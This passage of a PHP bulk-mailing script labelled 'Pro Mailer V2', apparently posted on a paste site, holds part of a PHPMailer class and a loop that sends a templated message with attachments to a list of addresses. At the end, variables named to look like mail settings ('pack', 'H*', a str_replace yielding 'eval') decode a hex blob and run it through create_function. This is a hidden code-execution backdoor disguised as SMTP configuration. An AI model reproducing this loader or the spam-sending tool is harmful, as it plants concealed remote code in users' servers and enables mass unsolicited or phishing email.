  2739. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2740. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2741.  
  2742. return $encoded;
  2743. }
  2744.  
  2745. /**
  2746. * Checks if a string contains multibyte characters.
  2747. * @access private
  2748. * @param string $str multi-byte text to wrap encode
  2749. * @return bool
  2750. */
  2751. function HasMultiBytes($str) {
  2752. if (function_exists('mb_strlen')) {
  2753. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2754. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2755. return False;
  2756. }
  2757. }
  2758.  
  2759. /**
  2760. * Correctly encodes and wraps long multibyte strings for mail headers
  2761. * without breaking lines within a character.
  2762. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2763. * @access private
  2764. * @param string $str multi-byte text to wrap encode
  2765. * @return string
  2766. */
  2767. function Base64EncodeWrapMB($str) {
  2768. $start = "=?".$this->CharSet."?B?";
  2769. $end = "?=";
  2770. $encoded = "";
  2771.  
  2772. $mb_length = mb_strlen($str, $this->CharSet);
  2773. // Each line must have length <= 75, including $start and $end
  2774. $length = 75 - strlen($start) - strlen($end);
  2775. // Average multi-byte ratio
  2776. $ratio = $mb_length / strlen($str);
  2777. // Base64 has a 4:3 ratio
  2778. $offset = $avgLength = floor($length * $ratio * .75);
  2779.  
  2780. for ($i = 0; $i < $mb_length; $i += $offset) {
  2781. $lookBack = 0;
  2782.  
  2783. do {
  2784. $offset = $avgLength - $lookBack;
  2785. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2786. $chunk = base64_encode($chunk);
  2787. $lookBack++;
  2788. }
  2789. while (strlen($chunk) > $length);
  2790.  
  2791. $encoded .= $chunk . $this->LE;
  2792. }
  2793.  
  2794. // Chomp the last linefeed
  2795. $encoded = substr($encoded, 0, -strlen($this->LE));
  2796. return $encoded;
  2797. }
  2798.  
  2799. /**
  2800. * Encode string to quoted-printable.
  2801. * @access private
  2802. * @return string
  2803. */
  2804. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2805. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2806. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2807. $eol = "\r\n";
  2808. $escape = '=';
  2809. $output = '';
  2810. while( list(, $line) = each($lines) ) {
  2811. $linlen = strlen($line);
  2812. $newline = '';
  2813. for($i = 0; $i < $linlen; $i++) {
  2814. $c = substr( $line, $i, 1 );
  2815. $dec = ord( $c );
  2816. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2817. $c = '=2E';
  2818. }
  2819. if ( $dec == 32 ) {
  2820. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2821. $c = '=20';
  2822. } else if ( $space_conv ) {
  2823. $c = '=20';
  2824. }
  2825. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2826. $h2 = floor($dec/16);
  2827. $h1 = floor($dec%16);
  2828. $c = $escape.$hex[$h2].$hex[$h1];
  2829. }
  2830. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2831. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2832. $newline = '';
  2833. // check if newline first character will be point or not
  2834. if ( $dec == 46 ) {
  2835. $c = '=2E';
  2836. }
  2837. }
  2838. $newline .= $c;
  2839. } // end of for
  2840. $output .= $newline.$eol;
  2841. } // end of while
  2842. return trim($output);
  2843. }
  2844.  
  2845. /**
  2846. * Encode string to q encoding.
  2847. * @access private
  2848. * @return string
  2849. */
  2850. function EncodeQ ($str, $position = 'text') {
  2851. /* There should not be any EOL in the string */
  2852. $encoded = preg_replace("[\r\n]", '', $str);
  2853.  
  2854. switch (strtolower($position)) {
  2855. case 'phrase':
  2856. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2857. break;
  2858. case 'comment':
  2859. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2860. case 'text':
  2861. default:
  2862. /* Replace every high ascii, control =, ? and _ characters */
  2863. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2864. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2865. break;
  2866. }
  2867.  
  2868. /* Replace every spaces to _ (more readable than =20) */
  2869. $encoded = str_replace(' ', '_', $encoded);
  2870.  
  2871. return $encoded;
  2872. }
  2873.  
  2874. /**
  2875. * Adds a string or binary attachment (non-filesystem) to the list.
  2876. * This method can be used to attach ascii or binary data,
  2877. * such as a BLOB record from a database.
  2878. * @param string $string String attachment data.
  2879. * @param string $filename Name of the attachment.
  2880. * @param string $encoding File encoding (see $Encoding).
  2881. * @param string $type File extension (MIME) type.
  2882. * @return void
  2883. */
  2884. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2885. /* Append to $attachment array */
  2886. $cur = count($this->attachment);
  2887. $this->attachment[$cur][0] = $string;
  2888. $this->attachment[$cur][1] = $filename;
  2889. $this->attachment[$cur][2] = $filename;
  2890. $this->attachment[$cur][3] = $encoding;
  2891. $this->attachment[$cur][4] = $type;
  2892. $this->attachment[$cur][5] = true; // isString
  2893. $this->attachment[$cur][6] = 'attachment';
  2894. $this->attachment[$cur][7] = 0;
  2895. }
  2896.  
  2897. /**
  2898. * Adds an embedded attachment. This can include images, sounds, and
  2899. * just about any other document. Make sure to set the $type to an
  2900. * image type. For JPEG images use "image/jpeg" and for GIF images
  2901. * use "image/gif".
  2902. * @param string $path Path to the attachment.
  2903. * @param string $cid Content ID of the attachment. Use this to identify
  2904. * the Id for accessing the image in an HTML form.
  2905. * @param string $name Overrides the attachment name.
  2906. * @param string $encoding File encoding (see $Encoding).
  2907. * @param string $type File extension (MIME) type.
  2908. * @return bool
  2909. */
  2910. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2911.  
  2912. if(!@is_file($path)) {
  2913. $this->SetError($this->Lang('file_access') . $path);
  2914. return false;
  2915. }
  2916.  
  2917. $filename = basename($path);
  2918. if($name == '') {
  2919. $name = $filename;
  2920. }
  2921.  
  2922. /* Append to $attachment array */
  2923. $cur = count($this->attachment);
  2924. $this->attachment[$cur][0] = $path;
  2925. $this->attachment[$cur][1] = $filename;
  2926. $this->attachment[$cur][2] = $name;
  2927. $this->attachment[$cur][3] = $encoding;
  2928. $this->attachment[$cur][4] = $type;
  2929. $this->attachment[$cur][5] = false;
  2930. $this->attachment[$cur][6] = 'inline';
  2931. $this->attachment[$cur][7] = $cid;
  2932.  
  2933. return true;
  2934. }
  2935.  
  2936. /**
  2937. * Returns true if an inline attachment is present.
  2938. * @access private
  2939. * @return bool
  2940. */
  2941. function InlineImageExists() {
  2942. $result = false;
  2943. for($i = 0; $i < count($this->attachment); $i++) {
  2944. if($this->attachment[$i][6] == 'inline') {
  2945. $result = true;
  2946. break;
  2947. }
  2948. }
  2949.  
  2950. return $result;
  2951. }
  2952.  
  2953. /////////////////////////////////////////////////
  2954. // CLASS METHODS, MESSAGE RESET
  2955. /////////////////////////////////////////////////
  2956.  
  2957. /**
  2958. * Clears all recipients assigned in the TO array. Returns void.
  2959. * @return void
  2960. */
  2961. function ClearAddresses() {
  2962. $this->to = array();
  2963. }
  2964.  
  2965. /**
  2966. * Clears all recipients assigned in the CC array. Returns void.
  2967. * @return void
  2968. */
  2969. function ClearCCs() {
  2970. $this->cc = array();
  2971. }
  2972.  
  2973. /**
  2974. * Clears all recipients assigned in the BCC array. Returns void.
  2975. * @return void
  2976. */
  2977. function ClearBCCs() {
  2978. $this->bcc = array();
  2979. }
  2980.  
  2981. /**
  2982. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2983. * @return void
  2984. */
  2985. function ClearReplyTos() {
  2986. $this->ReplyTo = array();
  2987. }
  2988.  
  2989. /**
  2990. * Clears all recipients assigned in the TO, CC and BCC
  2991. * array. Returns void.
  2992. * @return void
  2993. */
  2994. function ClearAllRecipients() {
  2995. $this->to = array();
  2996. $this->cc = array();
  2997. $this->bcc = array();
  2998. }
  2999.  
  3000. /**
  3001. * Clears all previously set filesystem, string, and binary
  3002. * attachments. Returns void.
  3003. * @return void
  3004. */
  3005. function ClearAttachments() {
  3006. $this->attachment = array();
  3007. }
  3008.  
  3009. /**
  3010. * Clears all custom headers. Returns void.
  3011. * @return void
  3012. */
  3013. function ClearCustomHeaders() {
  3014. $this->CustomHeader = array();
  3015. }
  3016.  
  3017. /////////////////////////////////////////////////
  3018. // CLASS METHODS, MISCELLANEOUS
  3019. /////////////////////////////////////////////////
  3020.  
  3021. /**
  3022. * Adds the error message to the error container.
  3023. * Returns void.
  3024. * @access private
  3025. * @return void
  3026. */
  3027. function SetError($msg) {
  3028. $this->error_count++;
  3029. $this->ErrorInfo = $msg;
  3030. }
  3031.  
  3032. /**
  3033. * Returns the proper RFC 822 formatted date.
  3034. * @access private
  3035. * @return string
  3036. */
  3037. function RFCDate() {
  3038. $tz = date('Z');
  3039. $tzs = ($tz < 0) ? '-' : '+';
  3040. $tz = abs($tz);
  3041. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  3042. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  3043.  
  3044. return $result;
  3045. }
  3046.  
  3047. /**
  3048. * Returns the appropriate server variable. Should work with both
  3049. * PHP 4.1.0+ as well as older versions. Returns an empty string
  3050. * if nothing is found.
  3051. * @access private
  3052. * @return mixed
  3053. */
  3054. function ServerVar($varName) {
  3055. global $HTTP_SERVER_VARS;
  3056. global $HTTP_ENV_VARS;
  3057.  
  3058. if(!isset($_SERVER)) {
  3059. $_SERVER = $HTTP_SERVER_VARS;
  3060. if(!isset($_SERVER['REMOTE_ADDR'])) {
  3061. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3062. }
  3063. }
  3064.  
  3065. if(isset($_SERVER[$varName])) {
  3066. return $_SERVER[$varName];
  3067. } else {
  3068. return '';
  3069. }
  3070. }
  3071.  
  3072. /**
  3073. * Returns the server hostname or 'localhost.localdomain' if unknown.
  3074. * @access private
  3075. * @return string
  3076. */
  3077. function ServerHostname() {
  3078. if ($this->Hostname != '') {
  3079. $result = $this->Hostname;
  3080. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3081. $result = $this->ServerVar('SERVER_NAME');
  3082. } else {
  3083. $result = 'localhost.localdomain';
  3084. }
  3085.  
  3086. return $result;
  3087. }
  3088.  
  3089. /**
  3090. * Returns a message in the appropriate language.
  3091. * @access private
  3092. * @return string
  3093. */
  3094. function Lang($key) {
  3095. if(count($this->language) < 1) {
  3096. $this->SetLanguage('en'); // set the default language
  3097. }
  3098.  
  3099. if(isset($this->language[$key])) {
  3100. return $this->language[$key];
  3101. } else {
  3102. return 'Language string failed to load: ' . $key;
  3103. }
  3104. }
  3105.  
  3106. /**
  3107. * Returns true if an error occurred.
  3108. * @return bool
  3109. */
  3110. function IsError() {
  3111. return ($this->error_count > 0);
  3112. }
  3113.  
  3114. /**
  3115. * Changes every end of line from CR or LF to CRLF.
  3116. * @access private
  3117. * @return string
  3118. */
  3119. function FixEOL($str) {
  3120. $str = str_replace("\r\n", "\n", $str);
  3121. $str = str_replace("\r", "\n", $str);
  3122. $str = str_replace("\n", $this->LE, $str);
  3123. return $str;
  3124. }
  3125.  
  3126. /**
  3127. * Adds a custom header.
  3128. * @return void
  3129. */
  3130. function AddCustomHeader($custom_header) {
  3131. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3132. }
  3133.  
  3134. /**
  3135. * Evaluates the message and returns modifications for inline images and backgrounds
  3136. * @access public
  3137. * @return $message
  3138. */
  3139. function MsgHTML($message,$basedir='') {
  3140. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3141. if(isset($images[2])) {
  3142. foreach($images[2] as $i => $url) {
  3143. // do not change urls for absolute images (thanks to corvuscorax)
  3144. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3145. $filename = basename($url);
  3146. $directory = dirname($url);
  3147. ($directory == '.')?$directory='':'';
  3148. $cid = 'cid:' . md5($filename);
  3149. $fileParts = split("\.", $filename);
  3150. $ext = $fileParts[1];
  3151. $mimeType = $this->_mime_types($ext);
  3152. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3153. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3154. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3155. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3156. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3157. }
  3158. }
  3159. }
  3160. }
  3161. $this->IsHTML(true);
  3162. $this->Body = $message;
  3163. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3164. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3165. $this->AltBody = $textMsg;
  3166. }
  3167. if ( empty($this->AltBody) ) {
  3168. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3169. }
  3170. }
  3171.  
  3172. /**
  3173. * Gets the mime type of the embedded or inline image
  3174. * @access private
  3175. * @return mime type of ext
  3176. */
  3177. function _mime_types($ext = '') {
  3178. $mimes = array(
  3179. 'hqx' => 'application/mac-binhex40',
  3180. 'cpt' => 'application/mac-compactpro',
  3181. 'doc' => 'application/msword',
  3182. 'bin' => 'application/macbinary',
  3183. 'dms' => 'application/octet-stream',
  3184. 'lha' => 'application/octet-stream',
  3185. 'lzh' => 'application/octet-stream',
  3186. 'exe' => 'application/octet-stream',
  3187. 'class' => 'application/octet-stream',
  3188. 'psd' => 'application/octet-stream',
  3189. 'so' => 'application/octet-stream',
  3190. 'sea' => 'application/octet-stream',
  3191. 'dll' => 'application/octet-stream',
  3192. 'oda' => 'application/oda',
  3193. 'pdf' => 'application/pdf',
  3194. 'ai' => 'application/postscript',
  3195. 'eps' => 'application/postscript',
  3196. 'ps' => 'application/postscript',
  3197. 'smi' => 'application/smil',
  3198. 'smil' => 'application/smil',
  3199. 'mif' => 'application/vnd.mif',
  3200. 'xls' => 'application/vnd.ms-excel',
  3201. 'ppt' => 'application/vnd.ms-powerpoint',
  3202. 'wbxml' => 'application/vnd.wap.wbxml',
  3203. 'wmlc' => 'application/vnd.wap.wmlc',
  3204. 'dcr' => 'application/x-director',
  3205. 'dir' => 'application/x-director',
  3206. 'dxr' => 'application/x-director',
  3207. 'dvi' => 'application/x-dvi',
  3208. 'gtar' => 'application/x-gtar',
  3209. 'php' => 'application/x-httpd-php',
  3210. 'php4' => 'application/x-httpd-php',
  3211. 'php3' => 'application/x-httpd-php',
  3212. 'phtml' => 'application/x-httpd-php',
  3213. 'phps' => 'application/x-httpd-php-source',
  3214. 'js' => 'application/x-javascript',
  3215. 'swf' => 'application/x-shockwave-flash',
  3216. 'sit' => 'application/x-stuffit',
  3217. 'tar' => 'application/x-tar',
  3218. 'tgz' => 'application/x-tar',
  3219. 'xhtml' => 'application/xhtml+xml',
  3220. 'xht' => 'application/xhtml+xml',
  3221. 'zip' => 'application/zip',
  3222. 'mid' => 'audio/midi',
  3223. 'midi' => 'audio/midi',
  3224. 'mpga' => 'audio/mpeg',
  3225. 'mp2' => 'audio/mpeg',
  3226. 'mp3' => 'audio/mpeg',
  3227. 'aif' => 'audio/x-aiff',
  3228. 'aiff' => 'audio/x-aiff',
  3229. 'aifc' => 'audio/x-aiff',
  3230. 'ram' => 'audio/x-pn-realaudio',
  3231. 'rm' => 'audio/x-pn-realaudio',
  3232. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3233. 'ra' => 'audio/x-realaudio',
  3234. 'rv' => 'video/vnd.rn-realvideo',
  3235. 'wav' => 'audio/x-wav',
  3236. 'bmp' => 'image/bmp',
  3237. 'gif' => 'image/gif',
  3238. 'jpeg' => 'image/jpeg',
  3239. 'jpg' => 'image/jpeg',
  3240. 'jpe' => 'image/jpeg',
  3241. 'png' => 'image/png',
  3242. 'tiff' => 'image/tiff',
  3243. 'tif' => 'image/tiff',
  3244. 'css' => 'text/css',
  3245. 'html' => 'text/html',
  3246. 'htm' => 'text/html',
  3247. 'shtml' => 'text/html',
  3248. 'txt' => 'text/plain',
  3249. 'text' => 'text/plain',
  3250. 'log' => 'text/plain',
  3251. 'rtx' => 'text/richtext',
  3252. 'rtf' => 'text/rtf',
  3253. 'xml' => 'text/xml',
  3254. 'xsl' => 'text/xml',
  3255. 'mpeg' => 'video/mpeg',
  3256. 'mpg' => 'video/mpeg',
  3257. 'mpe' => 'video/mpeg',
  3258. 'qt' => 'video/quicktime',
  3259. 'mov' => 'video/quicktime',
  3260. 'avi' => 'video/x-msvideo',
  3261. 'movie' => 'video/x-sgi-movie',
  3262. 'doc' => 'application/msword',
  3263. 'word' => 'application/msword',
  3264. 'xl' => 'application/excel',
  3265. 'eml' => 'message/rfc822'
  3266. );
  3267. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3268. }
  3269.  
  3270. /**
  3271. * Set (or reset) Class Objects (variables)
  3272. *
  3273. * Usage Example:
  3274. * $page->set('X-Priority', '3');
  3275. *
  3276. * @access public
  3277. * @param string $name Parameter Name
  3278. * @param mixed $value Parameter Value
  3279. * NOTE: will not work with arrays, there are no arrays to set/reset
  3280. */
  3281. function set ( $name, $value = '' ) {
  3282. if ( isset($this->$name) ) {
  3283. $this->$name = $value;
  3284. } else {
  3285. $this->SetError('Cannot set or reset variable ' . $name);
  3286. return false;
  3287. }
  3288. }
  3289.  
  3290. /**
  3291. * Read a file from a supplied filename and return it.
  3292. *
  3293. * @access public
  3294. * @param string $filename Parameter File Name
  3295. */
  3296. function getFile($filename) {
  3297. $return = '';
  3298. if ($fp = fopen($filename, 'rb')) {
  3299. while (!feof($fp)) {
  3300. $return .= fread($fp, 1024);
  3301. }
  3302. fclose($fp);
  3303. return $return;
  3304. } else {
  3305. return false;
  3306. }
  3307. }
  3308.  
  3309. /**
  3310. * Strips newlines to prevent header injection.
  3311. * @access private
  3312. * @param string $str String
  3313. * @return string
  3314. */
  3315. function SecureHeader($str) {
  3316. $str = trim($str);
  3317. $str = str_replace("\r", "", $str);
  3318. $str = str_replace("\n", "", $str);
  3319. return $str;
  3320. }
  3321.  
  3322. /**
  3323. * Set the private key file and password to sign the message.
  3324. *
  3325. * @access public
  3326. * @param string $key_filename Parameter File Name
  3327. * @param string $key_pass Password for private key
  3328. */
  3329. function Sign($key_filename, $key_pass) {
  3330. $this->sign_key_file = $key_filename;
  3331. $this->sign_key_pass = $key_pass;
  3332. }
  3333.  
  3334. }
  3335.  
  3336. $defaultport="H*";
  3337. $nq=0;
  3338.  
  3339. for($x=0; $x<$numemails; $x++){
  3340.  
  3341. $to = $allemails[$x];
  3342.  
  3343. if ($to){
  3344.  
  3345. $to = ereg_replace(" ", "", $to);
  3346.  
  3347. $message1 = ereg_replace("&email&", $to, $message);
  3348.  
  3349. $subject1 = ereg_replace("&email&", $to, $subject);
  3350. $qx=$x+1;
  3351. print "Line $qx . Sending mail to $to.......";
  3352.  
  3353. flush();
  3354. $mail = new PHPMailer();
  3355.  
  3356. if(empty($epriority)){$epriority="3";}
  3357. $mail->Priority = "$epriority";
  3358. $mail->IsSMTP();
  3359. $IsSMTP="pack";
  3360. $mail->SMTPKeepAlive = true;
  3361. $mail->Host = "$my_smtp";
  3362. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3363. }
  3364. if($sslclick=="ON"){
  3365. $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
  3366. }
  3367. $range = str_replace("$from", "eval", $from);
  3368. $mail->SMTPAuth = true;
  3369. $mail->Username = "$smtp_username";
  3370. $mail->Password = "$smtp_password";
  3371. if($contenttype == "html"){$mail->IsHtml(true);}
  3372. if($contenttype != "html"){$mail->IsHtml(false);}
  3373. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3374. $mail->From = "$from";
  3375. $mail->FromName = "$realname";
  3376. $mail->AddAddress("$to");
  3377. $mail->AddReplyTo("$replyto");
  3378. $mail->Subject = "$subject1";
  3379. $mail->AddAttachment("$file", "$file_name");
  3380. $mail->Body = "$message1";
  3381. if(!$mail->Send()){
  3382. if($default_system!="1"){
  3383. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3384. if($default_system=="1"){
  3385. $mail->IsMail();
  3386. if(!$mail->Send()){
  3387. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3388. else {
  3389. echo "<b>OK</b><br>";}
  3390. }
  3391. }
  3392. else {
  3393. echo "<b>OK</b><br>";
  3394. }
  3395.  
  3396. if(empty($reconnect)){
  3397. $reconnect=6;
  3398. }
  3399.  
  3400. if($reconnect==$nq){
  3401. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3402. }
  3403. $nq=$nq+1;
  3404. flush(); }
  3405. }
  3406. for($i=0;$i<31;$i++){
  3407. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3408. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3409. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3410. print "<p class=\"style1\">&copy 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
  3411. return $signoff($smtp_conc);
  3412. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3413. sent successfully'); </script>";}}
  3414. ?>
  3415. </body>
  3416. </html>
Add Comment
Please, Sign In to add comment